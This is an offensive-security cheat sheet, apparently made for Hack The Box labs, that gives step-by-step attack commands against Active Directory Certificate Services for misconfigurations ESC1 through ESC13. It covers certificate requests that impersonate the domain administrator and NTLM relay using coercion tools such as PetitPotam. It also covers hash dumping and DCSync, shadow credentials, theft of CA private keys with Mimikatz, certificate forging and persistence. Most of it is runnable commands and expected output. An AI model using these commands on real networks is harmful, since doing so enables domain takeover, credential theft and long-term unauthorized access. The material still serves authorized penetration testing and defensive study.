~/cheatsheets/ADCS — Certificate Services Attacks
ADCS Certipy

📋 TABLE OF CONTENTS
  1. ADCS Overview & Setup
  2. Enumeration
  3. ESC1 — Misconfigured Certificate Templates
  4. ESC2 — Any Purpose EKU
  5. ESC3 — Certificate Request Agent
  6. ESC4 — Vulnerable Certificate Template ACL
  7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
  8. ESC7 — Vulnerable CA ACL
  9. ESC8 — NTLM Relay to AD CS HTTP Endpoints
  10. ESC9 & ESC10 — No Security Extension / Weak Cert Mapping
  11. ESC11 — Relay ICPR
  12. ESC13 — OID Group Link
  13. Using Certificates — Authentication & PTT
  14. Post-Exploitation with Certificates
  15. Persistence via Certificates

🔧 ADCS Overview & Setup

What is ADCS?

Active Directory Certificate Services (ADCS) is Microsoft's PKI implementation inside AD. It issues X.509 certificates used for:

Why it matters for HTB/Red Team: A misconfigured ADCS can allow any domain user to obtain a certificate that impersonates a Domain Admin, then use that cert to get a Kerberos TGT and dump hashes.

Key Concepts

bash
CA (Certificate Authority) — The server issuing certificates (usually a DC or dedicated server) Certificate Template — Blueprint defining what a cert can do, who can request it EKU (Enhanced Key Usage) — Defines allowed uses: Client Auth, Code Signing, Any Purpose... SAN (Subject Alternative Name) — Alternative identity in the cert (can be set to any user) PKINIT — Kerberos extension allowing cert-based authentication UPN (User Principal Name) — user@domain.htb — used to map cert to AD account

Tool Setup

bash
# Certipy (primary tool — Kali/Linux) pip3 install certipy-ad certipy-ad --version # Certify (Windows — C# binary) # Download: https://github.com/GhostPack/Certify # PKINITtools (Kerberos cert auth from Linux) git clone https://github.com/dirkjanm/PKINITtools pip3 install impacket minikerberos # pywhisker (shadow credentials) git clone https://github.com/ShutdownRepo/pywhisker pip3 install -r pywhisker/requirements.txt

Enumeration

Certipy (from Kali)

bash
# Full ADCS enumeration — finds vulnerable templates certipy-ad find -u user@domain.htb -p 'password' -dc-ip $DC certipy-ad find -u user@domain.htb -p 'password' -dc-ip $DC -vulnerable -stdout certipy-ad find -u user@domain.htb -p 'password' -dc-ip $DC -vulnerable -text -output adcs_enum # With hash certipy-ad find -u user@domain.htb -hashes :NTLM_HASH -dc-ip $DC -vulnerable -stdout # With Kerberos certipy-ad find -u user@domain.htb -p 'password' -dc-ip $DC -k -vulnerable # Output files: adcs_enum.txt, adcs_enum.json, adcs_enum.bloodhound.zip # Upload bloodhound zip to BloodHound for visual analysis

Certify (from Windows)

cmd
:: Full enumeration .\Certify.exe find .\Certify.exe find /vulnerable .\Certify.exe find /vulnerable /currentuser :: List CAs .\Certify.exe cas :: List templates .\Certify.exe templates :: List enrollment endpoints .\Certify.exe find /showAllPermissions

Manual Enumeration via LDAP

bash
# Find ADCS servers ldapsearch -x -H ldap://$DC -D user@domain.htb -w 'pass' -b "CN=Configuration,DC=domain,DC=htb" "(objectClass=pKIEnrollmentService)" # Find vulnerable templates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 1) ldapsearch -x -H ldap://$DC -D user@domain.htb -w 'pass' -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" "(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1)" # NetExec (nxc) — CrackMapExec successor nxc ldap $DC -u user -p pass -M adcs

BloodHound ADCS Queries

bash
# Custom queries to add in BloodHound (after uploading Certipy bloodhound zip): MATCH (n:GPO) WHERE n.type = 'Certificate Template' and n.Enabled = true RETURN n MATCH p=(g)-[:Enroll|AutoEnroll]->(n:GPO) WHERE n.type = 'Certificate Template' and n.Enabled = true RETURN p MATCH p=shortestPath((g:Group)-[r*1..]->(n:Computer {unconstraineddelegation:true})) WHERE g.name =~ 'DOMAIN USERS.*' RETURN p

ESC1 — Misconfigured Certificate Templates

What Makes It Vulnerable

All three conditions must be true:

  1. Manager approval disabled (no human review required)
  2. Enrollee can specify a SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set)
  3. Certificate enables client authentication (EKU includes Client Auth, PKINIT, Smart Card Logon, or Any Purpose)
  4. Low-privileged user has enrollment rights

Detection

bash
# Certipy output will show: # [!] Vulnerabilities # ESC1 : ... # Template : VulnerableTemplate # ... # [!] Enrollee Supplies Subject : True # [!] Extended Key Usages : Client Authentication certipy-ad find -u user@domain.htb -p 'pass' -dc-ip $DC -vulnerable -stdout # Certify (Windows) .\Certify.exe find /vulnerable # Look for: msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Exploitation — Certipy (Linux)

bash
# Step 1: Request certificate as Domain Admin (specify SAN/UPN) certipy-ad req -u user@domain.htb -p 'password' -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.htb -dc-ip $DC # This creates: administrator.pfx # Step 2: Authenticate with the certificate → get hash certipy-ad auth -pfx administrator.pfx -domain domain.htb -username administrator -dc-ip $DC # Output: # administrator@domain.htb's hash: NTLM_HASH # Got TGT — saved to administrator.ccache # Step 3: Use hash or TGT export KRB5CCNAME=administrator.ccache impacket-secretsdump -k -no-pass domain.htb/administrator@$DC # Or PTH impacket-psexec -hashes :NTLM_HASH administrator@$IP evil-winrm -i $IP -u administrator -H NTLM_HASH nxc smb $IP -u administrator -H NTLM_HASH

Exploitation — Certify + Rubeus (Windows)

cmd
:: Step 1: Request certificate .\Certify.exe request /ca:CA-SERVER\CA-NAME /template:VulnerableTemplate /altname:administrator :: Copy the -----BEGIN RSA PRIVATE KEY----- block + certificate :: Save to cert.pem on Kali :: Step 2: Convert PEM to PFX on Kali openssl pkcs12 -in cert.pem -inkey key.pem -export -out cert.pfx -passout pass:"" # Or both in same file: openssl pkcs12 -in combined.pem -export -out cert.pfx -passout pass:"" :: Step 3: Use Rubeus to authenticate .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:"" /nowrap /ptt :: Or get NTLM hash .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /show /nowrap

Alternative UPNs to Try

bash
# Always try these targets: certipy-ad req ... -upn administrator@domain.htb # built-in admin certipy-ad req ... -upn Administrator@domain.htb # case variation certipy-ad req ... -upn krbtgt@domain.htb # krbtgt (for golden tickets) certipy-ad req ... -upn DC$@domain.htb # DC machine account certipy-ad req ... -upn "domain admin username"@domain.htb

ESC2 — Any Purpose EKU

What Makes It Vulnerable

Template has Any Purpose EKU (or no EKU at all), which means the certificate can be used for anything — including client authentication.

Detection

bash
certipy-ad find -vulnerable -stdout # Look for: Extended Key Usages: Any Purpose # Or: No EKU defined

Exploitation

Same as ESC1 if the enrollee can supply SAN. If not, use the certificate as an enrollment agent (similar to ESC3).

bash
# If SAN can be specified: certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template ESC2Template -upn administrator@domain.htb -dc-ip $DC certipy-ad auth -pfx administrator.pfx -dc-ip $DC # If SAN cannot be specified — use as enrollment agent (ESC3 path): certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template ESC2Template -dc-ip $DC # Then use obtained cert to enroll for another template on behalf of admin certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template User -on-behalf-of 'domain\administrator' -pfx esc2.pfx -dc-ip $DC certipy-ad auth -pfx administrator.pfx -dc-ip $DC

ESC3 — Certificate Request Agent

What Makes It Vulnerable

Two templates exploited in sequence:

  1. Template A: Has "Certificate Request Agent" EKU — allows requesting certs on behalf of others
  2. Template B: Has "Certificate Request Agent" in Application Policy issuance requirements, AND allows enrollment for Certificate Request Agents

Exploitation

bash
# Step 1: Enroll in the Certificate Request Agent template certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template ESC3-CertRequestAgent -dc-ip $DC # Saves: user.pfx # Step 2: Use agent cert to request cert on behalf of administrator certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template ESC3-Template2 -on-behalf-of 'domain\administrator' -pfx user.pfx -dc-ip $DC # Saves: administrator.pfx # Step 3: Authenticate certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC

ESC4 — Vulnerable Certificate Template ACL

What Makes It Vulnerable

A low-privileged user has write permissions over a certificate template (GenericWrite, WriteDACL, WriteOwner, FullControl). This allows modifying the template to introduce ESC1 vulnerabilities.

Detection

bash
certipy-ad find -vulnerable -stdout # Look for: ESC4 # Shows which principal has write access to the template # Certify (Windows) .\Certify.exe find /showAllPermissions # Look for non-admin users with write/fullcontrol on a template

Exploitation

bash
# Step 1: Modify the template to make it ESC1-vulnerable certipy-ad template -u user@domain.htb -p 'pass' -template VulnerableTemplate -dc-ip $DC # (certipy-ad automatically sets: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, Client Auth EKU, disable manager approval) # Step 2: Request cert as admin (now it's ESC1) certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.htb -dc-ip $DC # Step 3: Authenticate certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

What Makes It Vulnerable

The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set on the CA itself (not on a specific template). This flag allows any certificate request to specify a SAN, even if the template doesn't explicitly allow it.

Detection

bash
certipy-ad find -vulnerable -stdout # Look for: ESC6 # [!] CA Permissions # [!] EDITF_ATTRIBUTESUBJECTALTNAME2 : Enabled # Certify .\Certify.exe cas # Look for: EDITF_ATTRIBUTESUBJECTALTNAME2 set

Exploitation

bash
# Can use ANY template with Client Auth EKU — even the default "User" template certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template User -upn administrator@domain.htb -dc-ip $DC certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC # Certify + Rubeus (Windows) .\Certify.exe request /ca:CA-SERVER\CA-NAME /template:User /altname:administrator # Convert and use with Rubeus as shown in ESC1

ESC7 — Vulnerable CA ACL

What Makes It Vulnerable

A low-privileged user has ManageCA or ManageCertificates rights on the CA object itself.

Detection

bash
certipy-ad find -vulnerable -stdout # Look for: ESC7 # [!] CA Name : domain-CA # [!] Permissions # [!] ManageCA : compromised_user # Certify .\Certify.exe cas /showAllPermissions

Exploitation — ManageCA → ESC6

bash
# Step 1: Enable EDITF_ATTRIBUTESUBJECTALTNAME2 using ManageCA rights certipy-ad ca -u user@domain.htb -p 'pass' -ca CA-NAME -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2 -dc-ip $DC # Step 2: Now exploit as ESC6 certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template User -upn administrator@domain.htb -dc-ip $DC certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC

Exploitation — ManageCertificates → Approve Pending Requests

bash
# Step 1: Request a cert that requires manager approval (will be in PENDING state) certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template Requires-Approval-Template -upn administrator@domain.htb -dc-ip $DC # Output: Request ID: 13 # Step 2: Issue (approve) the pending request using ManageCertificates certipy-ad ca -u user@domain.htb -p 'pass' -ca CA-NAME -issue-request 13 -dc-ip $DC # Step 3: Retrieve the approved certificate certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -retrieve 13 -dc-ip $DC # Saves: administrator.pfx # Step 4: Authenticate certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC

ESC8 — NTLM Relay to AD CS HTTP Endpoints

What Makes It Vulnerable

The CA has a web enrollment endpoint (http://CA-SERVER/certsrv) that supports NTLM authentication and does not require HTTPS or enforce Extended Protection for Authentication (EPA). NTLM authentication can be relayed here.

Detection

bash
certipy-ad find -vulnerable -stdout # Look for: ESC8 # [!] Web Enrollment : Enabled # URL : http://ca-server/certsrv/ # Manual check curl -I http://$CA_SERVER/certsrv/ # If it returns 401 with NTLM → vulnerable nmap --script http-auth-finder -p 80,443 $CA_SERVER

Exploitation

bash
# Step 1: Start ntlmrelayx — relay to the CA web enrollment # For a standard DC cert (gets DC auth cert): impacket-ntlmrelayx -t http://$CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs --template DomainController # For a user cert: impacket-ntlmrelayx -t http://$CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs --template User # Step 2: Trigger NTLM authentication from a target (DC) # PetitPotam (no auth — forces DC to authenticate) python3 PetitPotam.py $LHOST $DC # PrinterBug (impacket) impacket-printerbug domain.htb/user:pass@$DC $LHOST # Coercer (covers PetitPotam + PrinterBug + 10+ methods) coercer coerce -u user -p pass -l $LHOST -t $DC # Responder (for users) responder -I tun0 -rdwv # then socially engineer user to access \\$LHOST\share # Step 3: ntlmrelayx captures the authentication and requests a cert # Output: Got certificate! Saved to: DC$.pfx (base64 printed in terminal) # Save the base64 to a file and decode: echo "BASE64==" | base64 -d > DC.pfx # Or certipy-ad can relay directly: certipy-ad relay -ca $CA_SERVER -template DomainController # Step 4: Authenticate with the DC certificate (PKINIT) certipy-ad auth -pfx DC.pfx -domain domain.htb -dc-ip $DC # Gets: DC$'s NTLM hash + TGT # Step 5: DCSync with the DC machine account hash impacket-secretsdump -hashes :DC_NTLM_HASH 'domain.htb/DC$'@$DC

ESC9 & ESC10 — No Security Extension / Weak Cert Mapping

ESC9 — No Security Extension

The template has CT_FLAG_NO_SECURITY_EXTENSION — the issued cert doesn't embed the SID of the requesting user. Combined with ability to change UPN, allows impersonation.

bash
# Requirements: GenericWrite on a user account + ESC9 template available # Step 1: Change target user's UPN to administrator's UPN certipy-ad account update -u attacker@domain.htb -p 'pass' -user victim_user -upn administrator -dc-ip $DC # Step 2: Request cert as victim_user (the UPN now maps to administrator) certipy-ad req -u victim_user@domain.htb -p 'victimpass' -ca CA-NAME -template ESC9Template -dc-ip $DC # Step 3: Restore victim user's UPN certipy-ad account update -u attacker@domain.htb -p 'pass' -user victim_user -upn victim_user@domain.htb -dc-ip $DC # Step 4: Authenticate with cert (maps to administrator due to UPN) certipy-ad auth -pfx victim_user.pfx -domain domain.htb -dc-ip $DC

ESC10 — Weak Certificate Mapping

Registry key CertificateMappingMethods has bit 0x4 set (Subject) or StrongCertificateBindingEnforcement = 0. Similar to ESC9 but abuses the DC's cert mapping.

bash
# Same approach as ESC9 — check certipy-ad output for ESC10 flag certipy-ad find -vulnerable -stdout # If ESC10: follow same UPN swap technique as ESC9

ESC11 — Relay ICPR

What Makes It Vulnerable

The CA's RPC interface (\pipe\cert) does not enforce signing, allowing NTLM relay over RPC (port 135/445) to the CA.

bash
# Detection certipy-ad find -vulnerable -stdout # Look for: ESC11 — Enforce Encryption for Requests: Disabled # Exploitation — relay via certipy-ad certipy-ad relay -ca $CA_SERVER -template DomainController -target rpc://$CA_SERVER # Trigger auth same as ESC8 (PetitPotam, PrinterBug, etc.) python3 PetitPotam.py $LHOST $DC # Then authenticate with obtained cert certipy-ad auth -pfx DC.pfx -domain domain.htb -dc-ip $DC

What Makes It Vulnerable

A certificate template links to a group via an OID (issuance policy). When a user requests a cert from this template, they inherit the group's permissions — even if they're not actually a member.

bash
# Detection certipy-ad find -vulnerable -stdout # Look for: ESC13 # Group Linked: high-privilege-group # Exploitation certipy-ad req -u user@domain.htb -p 'pass' -ca CA-NAME -template ESC13Template -dc-ip $DC # The cert includes OID linking to high-priv group # Authenticate — you'll have the group's permissions certipy-ad auth -pfx user.pfx -domain domain.htb -dc-ip $DC

Using Certificates — Authentication & PTT

Certipy Auth (Linux)

bash
# Authenticate with PFX → get NTLM hash + TGT certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC -username administrator # If cert is password protected certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC -pfx-password 'certpass' # Output: # Trying to get TGT... # Got TGT: Saved to administrator.ccache # Got NTLM hash: aad3b435b51404eeaad3b435b51404ee:NTLM_HASH_HERE # Use TGT export KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass administrator@$DC impacket-secretsdump -k -no-pass domain.htb/administrator@$DC # Use NTLM hash evil-winrm -i $IP -u administrator -H NTLM_HASH impacket-psexec -hashes :NTLM_HASH administrator@$IP nxc smb $IP -u administrator -H NTLM_HASH

PKINITtools (Alternative Linux Auth)

bash
# Get TGT using cert (if certipy-ad auth fails) python3 PKINITtools/gettgtpkinit.py -cert-pfx administrator.pfx domain.htb/administrator administrator.ccache export KRB5CCNAME=administrator.ccache # Get NTLM hash from TGT python3 PKINITtools/getnthash.py -key SESSION_KEY domain.htb/administrator # (SESSION_KEY is shown in gettgtpkinit output)

Rubeus (Windows)

cmd
:: Request TGT from PFX .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:"" /nowrap /ptt :: Get credentials (NTLM) from cert .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials /show /nowrap :: Pass-the-Ticket .\Rubeus.exe ptt /ticket:BASE64_TICKET

Convert Certificate Formats

bash
# PEM (cert + key separate) → PFX openssl pkcs12 -in cert.pem -inkey key.pem -export -out cert.pfx -passout pass:"" # PEM (cert + key combined in one file) → PFX openssl pkcs12 -in combined.pem -export -out cert.pfx -passout pass:"" # PFX → PEM openssl pkcs12 -in cert.pfx -out cert.pem -noenc # PFX with password openssl pkcs12 -in cert.pfx -out cert.pem -noenc -passin pass:certpassword # Kirbi ↔ ccache impacket-ticketConverter ticket.kirbi ticket.ccache impacket-ticketConverter ticket.ccache ticket.kirbi

Post-Exploitation with Certificates

Shadow Credentials (Alternative to ADCS ESC attacks)

If you have GenericWrite on a user or computer object, you can add a certificate to their msDS-KeyCredentialLink attribute, then authenticate as them.

bash
# From Linux — pywhisker python3 pywhisker/pywhisker.py -d domain.htb -u attacker -p 'pass' --target victim_user --action add --dc-ip $DC # Outputs: cert saved to FILENAME.pfx, device ID # Authenticate certipy-ad auth -pfx FILENAME.pfx -domain domain.htb -dc-ip $DC -username victim_user # From Windows — Whisker .\Whisker.exe add /target:victim_user # Outputs: Rubeus command to use .\Rubeus.exe asktgt /user:victim_user /certificate:BASE64 /password:PASSWORD /getcredentials /show # Shadow Credentials on computer accounts (for SYSTEM) python3 pywhisker/pywhisker.py -d domain.htb -u attacker -p 'pass' --target "DC$" --action add --dc-ip $DC certipy-ad auth -pfx FILENAME.pfx -domain domain.htb -dc-ip $DC -username "DC$" # Gets DC machine account TGT → DCSync! impacket-secretsdump -k -no-pass domain.htb/'DC$'@$DC

Certipy Shadow (Integrated)

bash
# Add shadow credential certipy-ad shadow auto -u attacker@domain.htb -p 'pass' -account victim_user -dc-ip $DC # All-in-one: adds cert, authenticates, gets hash, restores msDS-KeyCredentialLink # Manual steps certipy-ad shadow add -u attacker@domain.htb -p 'pass' -account victim_user -dc-ip $DC certipy-ad auth -pfx victim_user.pfx -domain domain.htb -dc-ip $DC certipy-ad shadow remove -u attacker@domain.htb -p 'pass' -account victim_user -device-id DEVICE-ID -dc-ip $DC

Extract Private Keys from Windows

cmd
:: Export current user certs (with private key if marked exportable) certmgr.msc :: GUI :: PowerShell — export all user certs Get-ChildItem Cert:\CurrentUser\My -ExportType Pkcs12 | Export-PfxCertificate -FilePath C:\Temp\certs.pfx -Password (ConvertTo-SecureString "pass" -AsPlainText -Force) :: Via Mimikatz (even non-exportable certs) .\mimikatz.exe crypto::capi privilege::debug crypto::cng crypto::certificates /export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE :: Saves to current directory as .der files :: SharpDPAPI (extract cert private keys via DPAPI) .\SharpDPAPI.exe certificates /mkfile:masterkeyfile

Persistence via Certificates

Why Certs Are Great for Persistence

Certificates are valid for their full lifetime (1-2 years typically), don't change when a user changes their password, and are harder to detect than golden tickets.

bash
# Request a cert for a DA (after compromise) — persists for years certipy-ad req -u administrator@domain.htb -p 'pass' -ca CA-NAME -template User -dc-ip $DC # Store administrator.pfx securely # Even after password reset, the cert still authenticates certipy-ad auth -pfx administrator.pfx -domain domain.htb -dc-ip $DC

Forge Certificates with CA Key (Post-Full-Compromise)

bash
# If you have the CA private key (from compromised CA server): # Extract CA cert and key with Certipy certipy-ad ca -backup -u administrator@domain.htb -p 'pass' -ca CA-NAME -dc-ip $DC # Saves: CA-NAME.pfx # Forge any certificate offline (no network needed) certipy-ad forge -ca-pfx CA-NAME.pfx -upn administrator@domain.htb -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' # Saves: administrator_forged.pfx # Authenticate with forged cert certipy-ad auth -pfx administrator_forged.pfx -domain domain.htb -dc-ip $DC

Steal CA Private Key via DPAPI

bash
# From Windows (as admin/SYSTEM on CA server) # SharpDPAPI .\SharpDPAPI.exe certificates /machine /mkfile:C:\Temp\masterkeys.txt # Mimikatz .\mimikatz.exe privilege::debug crypto::capi crypto::cng crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

Quick Attack Decision Tree
bash
Got domain user creds? │ ▼ certipy-ad find -vulnerable │ ├─► ESC1/ESC2/ESC6 ──► certipy-ad req (specify admin UPN) ──► certipy-ad auth ──► DOMAIN ADMIN │ ├─► ESC3 ──► Request agent cert → use to enroll as admin ──► certipy-ad auth ──► DA │ ├─► ESC4 ──► Modify template to ESC1 ──► certipy-ad req ──► certipy-ad auth ──► DA │ ├─► ESC7 ──► ManageCA: enable EDITF flag → ESC6 path │ ManageCerts: approve pending → get cert ──► DA │ ├─► ESC8/ESC11 ──► NTLM relay (PetitPotam/PrinterBug) → relay to CA ──► DC cert ──► DCSync │ └─► No ESC found? │ ├─► GenericWrite on user/computer? ──► Shadow Credentials (pywhisker) ──► certipy-ad auth │ └─► Check BloodHound for cert-related edges: Enroll, AutoEnroll, WritePKIEnrollmentFlag

Common Issues & Fixes
bash
# "Clock skew too great" error sudo ntpdate $DC # sync time with DC sudo timedatectl set-ntp false sudo timedatectl set-time "$(date -d @$(sudo net time -S $DC | awk '{print $NF}') '+%Y-%m-%d %H:%M:%S')" # KRB5 errors export KRB5CCNAME=/full/path/to/ticket.ccache # Check /etc/krb5.conf has correct realm: [realms] DOMAIN.HTB = { kdc = $DC } # Certificate auth fails with "KDC_ERR_PADATA_TYPE_NOSUPP" # The DC doesn't support PKINIT (rare but possible) # Try using NTLM hash instead (obtained via certipy-ad auth still gives hash even if Kerberos fails) # "Certificate unknown" or "Not trusted" # CA cert not trusted by the DC — try adding -ldap-channel-binding flag certipy-ad auth -pfx cert.pfx -domain domain.htb -dc-ip $DC -ldap-channel-binding # Certipy "Failed to get TGT" # Try with explicit username certipy-ad auth -pfx cert.pfx -domain domain.htb -username administrator -dc-ip $DC # Template not found # Verify CA name exactly: certipy-ad find -u user@domain.htb -p pass -dc-ip $DC -stdout | grep "CA Name" # Request fails with "CERTSRV_E_TEMPLATE_DENIED" # User doesn't have enrollment rights on that template # Check: certipy-ad find output — look for your user/group in Enrollment Rights

🔒 Built for HTB by 0xRoot | ADCS Attacks Appendix Use responsibly on authorized systems only — HTB & authorized engagements only.